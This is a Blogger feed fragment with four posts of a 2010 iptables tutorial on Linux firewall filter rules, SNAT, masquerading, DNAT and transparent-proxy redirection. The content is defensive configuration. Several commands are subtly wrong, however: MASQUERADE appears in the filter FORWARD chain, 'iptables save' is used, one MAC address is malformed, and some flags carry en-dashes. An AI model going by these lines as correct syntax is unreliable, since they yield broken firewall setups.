term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><title type='text'>Enhance Linux Box Security: Iptables made easy - tutorial part 3.2</title><content type='html'>We were left with Destination Network Address Translation part of the NAT rules of the iptables. &lt;br /&gt;&lt;br /&gt;DNAT Destination NAT, deals with Prerouting &amp;amp; used to rewrite the Destination IP address of a packet. It's used for appending the destination IP for the packets meant for our internal LAN machines. When the packet reaches our external public IP, its destination address is DNATed &amp;amp; the packet is transferred to the local internal LAN machine. DNAT can only be used with prerouting &amp;amp; output chain. It is meant for all input packets/interface therefore '-i'. Destination NAT is specified using `-j DNAT', and the `--to-destination' option specifies an IP address, a range of IP addresses, and an optional port or range of ports (for UDP and TCP protocols only). &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;## Change destination addresses to 10.0.0.5.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 1:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -i eth0 -j DNAT --to 10.0.0.5&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;## Change destination addresses to 10.0.0.5-10.0.0.10.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 2:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -i eth0 -j DNAT --to 10.0.0.5-10.0.0.10&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;## Change destination addresses of web traffic to 10.0.0.5, port 8080.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 3:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 -j DNAT --to 10.0.0.5:8080&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;## Send all packets destined for IP address 15.45.23.67 to a range of LAN IP's, namely 192.168.0.1 through 10. Note, as described previously, that a single stream will always use the same host, and that each stream will randomly be given an IP address that it will always be Destined for, within that stream.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 4:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -p tcp -d 15.45.23.67 --dport 80 -j DNAT --to-destination 192.168.0.1-192.168.0.10&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;## Same as above, diverting the packets to a port range of an IP. &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 5:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -p tcp -d 15.45.23.67 --dport 80 -j DNAT --to-destination 192.168.1.1:80-100&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Redirection is specialized case of Destination NAT. it is a simple convenience which is exactly equivalent to doing DNAT to the address of the incoming interface.&lt;br /&gt;Its highly used in configuring a proxy server for a LAN &amp;amp; in linux squid server is mostly used for configuring a proxy server, using default port 3128.&lt;br /&gt;## Send incoming port-80 web traffic to our squid (transparent) proxy&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 6:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 3128&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5448742789770863813?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5448742789770863813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_27.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5448742789770863813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5448742789770863813'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_27.html' title='Enhance Linux Box Security: Iptables made easy - tutorial part 3.2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7875253795850241103</id><published>2010-06-25T09:48:00.006+05:30</published><updated>2011-12-03T19:33:26.218+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><title type='text'>Enhance Linux Box Security: Iptables made easy - tutorial part 3.1</title><content type='html'>This time, we will deal with NAT rules of iptables. NAT means Network Address Translation.&lt;br /&gt;It is of 2 types - SNAT &amp;amp; DNAT&lt;br /&gt;SNAT means Source NAT, deals with Postrouting/Masquerading. The SNAT target means that this target will rewrite the Source IP address in the IP header of the packet. It's used for hiding the private IPs from the internet. Packets leaving from an internal LAN when reaches the public IP or the firewall (visible to internet) is SNATed &amp;amp; then transferred to the destination. It appears to the external internet as if our external public IP is the originator of the packet. Postrouting is used in case of static IPs whereas Masquerading is used in case of dynamic IPs&lt;br /&gt;&lt;br /&gt;The `-o' option is used as it is an outgoing interface. `-j SNAT' specifies Source NAT and the `--to-source' option specifies an IP address, a range of IP addresses, and &lt;br /&gt;an optional port or range of ports (for UDP and TCP protocols only).&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Now go through some SNAT examples.&lt;br /&gt;##Change source addresses to 10.0.0.5.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 1:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 10.0.0.5&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;## Change source addresses to 10.0.0.5-10.0.0.10.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 2:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 10.0.0.5-10.0.0.10&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;##Change source addresses to 10.0.0.5, ports 1-1023&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 3:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 10.0.0.5:1-1023&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 4:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A POSTROUTING -t nat -s 192.168.0.0/24 -o eth0 -j SNAT --to-source 10.0.0.1&lt;/pre&gt;&lt;/div&gt;map private source IP numbers 10.0.0.1 of interfaces on the internal LAN to one of my public static IP numbers.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 5:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 192.168.0.1-192.168.0.160:1024-32000&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Note:All the source ports would be confined to the ports specified. This is only valid if -p tcp or -p udp was specified. iptables will always try to avoid making any port alterations if possible, but if two hosts try to use the same ports, iptables will map one of them to another port. If no port range is specified, then if they're needed, all source ports below 512 will be mapped to other ports below 512. Those between source ports 512 and 1023 will be mapped to ports below 1024. All other ports will be mapped to 1024 or above.&lt;br /&gt;&lt;br /&gt;## Masquerade everything out eth0.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 6:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;/pre&gt;&lt;/div&gt;Note:Above rule is used when firewall may has a dynamic IP number because it connects to the internet itself via DHCP which can't be predicted.Its also independent of how a host on the internal network is assigned its own internal IP number.  The host could be assigned a static IP number onan internal nonpublic network (e.g. 10. or 192.168.)  or it could be itself assigned a dynamic IP number from your own DHCP server running on the firewall, or it could even have a public static IP number(which is very unlikely).&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 7:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t nat -A POSTROUTING -p TCP -j MASQUERADE --to-ports 1024-31000&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;"--to-ports" is optional field. Either you can specify a single port like --to-ports 1025 or you may specify a port range as --to-ports 1024-3000. This alters the default SNAT port-selection as described in the rule 5 section. The --to-ports option is only valid if the rule match section specifies the TCP or UDP protocols with the --protocol match. &lt;br /&gt;In next post DNAT is discussed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7875253795850241103?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7875253795850241103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7875253795850241103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7875253795850241103'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables.html' title='Enhance Linux Box Security: Iptables made easy - tutorial part 3.1'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-8574378755872346469</id><published>2010-04-30T19:47:00.002+05:30</published><updated>2011-12-03T19:33:26.227+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><title type='text'>Enhance Linux Box Security: Iptables made easy - tutorial part 2</title><content type='html'>This time, we will deal with filter rules of iptables. While using filter rules, we don't need to write filter as it default option in iptables.&lt;br /&gt;We have three chains here input, output &amp;amp; forward.&lt;br /&gt;Input chain checks those packets which are originate outside &amp;amp; meant for machine&lt;br /&gt;Output chain checks those packets which originate from the machine &amp;amp; meant for outer systems&lt;br /&gt;Forward chain checks those packets which are being routed from our machine.&lt;br /&gt;The best way of implementing the iptables is to create a shell script &amp;amp; execute it.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some basic examples of using filtering table are as follows:-&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 1:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A INPUT -s 192.168.1.0/24 -j REJECT&lt;/pre&gt;&lt;/div&gt;Appends the input chain such that every input packet from given ip will be rejected.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 2:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A INPUT -s 192.168.0.20 -p icmp -j DROP&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;Appends the Input chain such that every ping (icmp packet) request will be dropped without notifying the sender.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 3:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A INPUT -m mac --mac-source 12:23:56:89:34:qw -j ACCEPT&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;Accepting the input packet from the given mac id&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 4:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A OUTPUT -d www.yahoo.com -j REJECT&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;Rejecting any packet going output destined for yahoo.com&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 5:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A INPUT -p tcp --dport 22 -j ACCEPT&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;Permit SSH&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 6:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -A INPUT -s x.x.x.x -p tcp --dport telnet -j DROP&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;Reject telnet &lt;br /&gt;&lt;br /&gt;Deleting &amp;amp; Replacing rules &lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 7:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -D INPUT 4&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;deleting rule 4&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 8:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -D INPUT -p tcp --dport telnet -j DROP&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&amp;gt;deleting the give rule with the specified format.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 9:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -R INPUT 4 -p tcp --dport telnet -j ACCEPT&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;replacing the rule 4 with the specified format. &lt;br /&gt;&lt;br /&gt;Suppose, for example, that you have a router that connects the 192.168.1.0/24 network and the&lt;br /&gt;10.100.100.0/24 network. Suppose further that this ﬁrewall’s eth0 interface con-&lt;br /&gt;tains the internet-addressable IP address of 66.1.5.1/8.The following Ipchains&lt;br /&gt;command issued on the router would enable both private-IP networks to com-&lt;br /&gt;municate via the Internet:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 10:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 40px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables –A FORWARD –I eth0 –s 192.168.1.0/24 –j MASQUERADE&lt;br /&gt;#iptables –A FORWARD –I eth0 –s 10.100.100.0/24 –j MASQUERADE&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;This particular conﬁguration actually exposes the network.Any remote host&lt;br /&gt;would be able to use your masquerading ﬁrewall to access your host.The fol-&lt;br /&gt;lowing additions to the FORWARD chain of the ﬁlter table ensures that your&lt;br /&gt;masquerading router masquerades only for your internal network&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Rule 11:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 40px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables –A FORWARD –s 192.168.1.0/24 –j ACCEPT&lt;br /&gt;#iptables –A FORWARD –d 192.168.1.0/24 –j ACCEPT&lt;br /&gt;#iptables –A FORWARD –s 10.100.100.0/24 –j ACCEPT&lt;br /&gt;#iptables –A FORWARD –d 10.100.100.0/24 –j ACCEPT&lt;br /&gt;#iptables –A FORWARD –j DROP&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;Here's a cool video, that will teach you creating nice shell script for executing iptables rules &amp;amp; mostly deals with filter rules.&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ldB8kDEtTZA&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ldB8kDEtTZA&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-8574378755872346469?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/8574378755872346469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables_30.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8574378755872346469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8574378755872346469'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables_30.html' title='Enhance Linux Box Security: Iptables made easy - tutorial part 2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7775180375571169851</id><published>2010-04-17T11:27:00.003+05:30</published><updated>2011-12-03T19:33:26.211+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><title type='text'>Enhance Linux Box Security: Iptables made easy - tutorial part 1</title><content type='html'>We can enhance the security &amp;amp; lock down our system by implementing packet filtering using &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptables&lt;/a&gt;.&lt;br /&gt;packet filtering is defined as as the process of controlling network packets as they enter, move through &amp;amp; exit the network stack within the kernel. &lt;br /&gt;In pre-2.4 Linux kernels, ipchains are used, in 2.4 &amp;amp; beyond, &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptables&lt;/a&gt; are used which improved the scope &amp;amp; control network packet filtering. We can implement kernel level internet firewall on stateless &amp;amp; stateful packet filtering using &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptables&lt;/a&gt;. It can be implemented in both IPv4 &amp;amp; IPv6. Its also used in &lt;a href="http://en.wikipedia.org/wiki/Network_address_translation"&gt;NAT&lt;/a&gt; &amp;amp; masquerading for subneting purposes.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;Iptables&lt;/a&gt; comes with all &lt;a href="http://ubuntu.com/"&gt;Ubuntu&lt;/a&gt; based distro &amp;amp; &lt;a href="http://redhat.com/"&gt;RedHat&lt;/a&gt; by default. Ubuntu 8.04 Comes with &lt;a href="https://help.ubuntu.com/community/UFW"&gt;ufw&lt;/a&gt; - a program for managing the iptables firewall easily. &lt;br /&gt;&lt;br /&gt;So, how to implement it. &lt;br /&gt;The command associated with &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptables&lt;/a&gt; have a basic structure.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 20px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#iptables -t tables [action] [direction] [packet pattern] -j [fate] &lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Table: filter (default)/nat/mangle&lt;br /&gt;&lt;br /&gt;Actions (Actions taken on the &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptable&lt;/a&gt; rules) &lt;br /&gt;-A for appending new rules&lt;br /&gt;-D for deleting&amp;nbsp; rules &lt;br /&gt;-L for listing&amp;nbsp; all the rules&lt;br /&gt;-F for flush (deleting) all the rules. &lt;br /&gt;&lt;br /&gt;Packet Pattern: (indicates the origin of packet in the rules)&lt;br /&gt;-s for Source IP address&lt;br /&gt;-d for Destination IP address&lt;br /&gt;&lt;br /&gt;Fate: (indicates the fate of packet after it matches with one of the rules)&amp;nbsp; &lt;br /&gt;Drop-packet is refused access to the system and nothing is sent back to the host that sent the packet&lt;br /&gt;Accept-the packet skips the rest of the rule checks and is allowed to continue to its destination&lt;br /&gt;Reject-the packet is dropped, but an error packet is sent to the packet's originator. &lt;br /&gt;Queue-queue the packet to be passed to user-space&lt;br /&gt;Explanation of table:&lt;br /&gt;&lt;a href="http://www.netfilter.org/projects/iptables/index.html"&gt;netfilter&lt;/a&gt;(iptables) has three built-in tables or rules lists.&lt;br /&gt;&amp;nbsp;filter — default table for filtering network packets.&lt;br /&gt;&amp;nbsp;nat — table used to alter packets that create a new connection.&lt;br /&gt;&amp;nbsp;mangle — table is used for specific types of packet alteration. &lt;br /&gt;&lt;br /&gt;Each table has a group of built-in-chains (direction) which correspond to the action performed &lt;br /&gt;&amp;nbsp;The built-in chains for the filter table are as follows:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; INPUT — applies to packets received via a network interface&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OUTPUT — applies to packets sent out via the same network interface which received the packets.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FORWARD — applies to packets received on one network interface and sent out on another. &lt;br /&gt;&lt;br /&gt;The built-in chains for the nat table are as follows:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PREROUTING — alters packets received via a network interface when they arrive.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OUTPUT — alters locally-generated packets before they are routed via a network interface.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; POSTROUTING — alters packets before they are sent out via a network interface. &lt;br /&gt;&lt;br /&gt;The built-in chains for the mangle table are as follows:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PREROUTING — alters packets received via a network interface before they are routed.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OUTPUT — alters locally-generated packets before they are routed via a network interface.&lt;br /&gt;&lt;br /&gt;Some basic &lt;a href="http://en.wikipedia.org/wiki/Iptables"&gt;iptables&lt;/a&gt; commands.&lt;br /&gt;Displaying rules:- #iptables -L&lt;br /&gt;Saving iptables:- #iptables save&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;(file will be created at /etc/sysconfig/iptables (for RedHat))&lt;br /&gt;Backup &amp;amp; restore iptables&lt;br /&gt;#iptables-save &amp;gt; filemname&lt;br /&gt;#iptables-restore &amp;lt; filename &lt;br /&gt;Flush iptables (remove all rules):- #iptables -F&lt;br /&gt;Listing iptables:- #iptables -L&amp;nbsp; &lt;br /&gt;#iptables -L -v &lt;br /&gt;latter for greater details. &lt;br /&gt;(for further specialization in these commands visit &lt;a href="http://ipset.netfilter.org/iptables.man.html"&gt;man pages for iptables&lt;/a&gt; or execute command #man iptables)&lt;br /&gt;The tutorial is continued in the next post,&lt;br /&gt;&lt;br /&gt;Nice iptables basics video from &lt;a href="http://youtube.com/"&gt;Youtube&lt;/a&gt; &lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6e_eciYE15E&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/6e_eciYE15E&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7775180375571169851?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7775180375571169851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7775180375571169851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7775180375571169851'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables.html' title='Enhance Linux Box Security: Iptables made easy - tutorial part 1'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 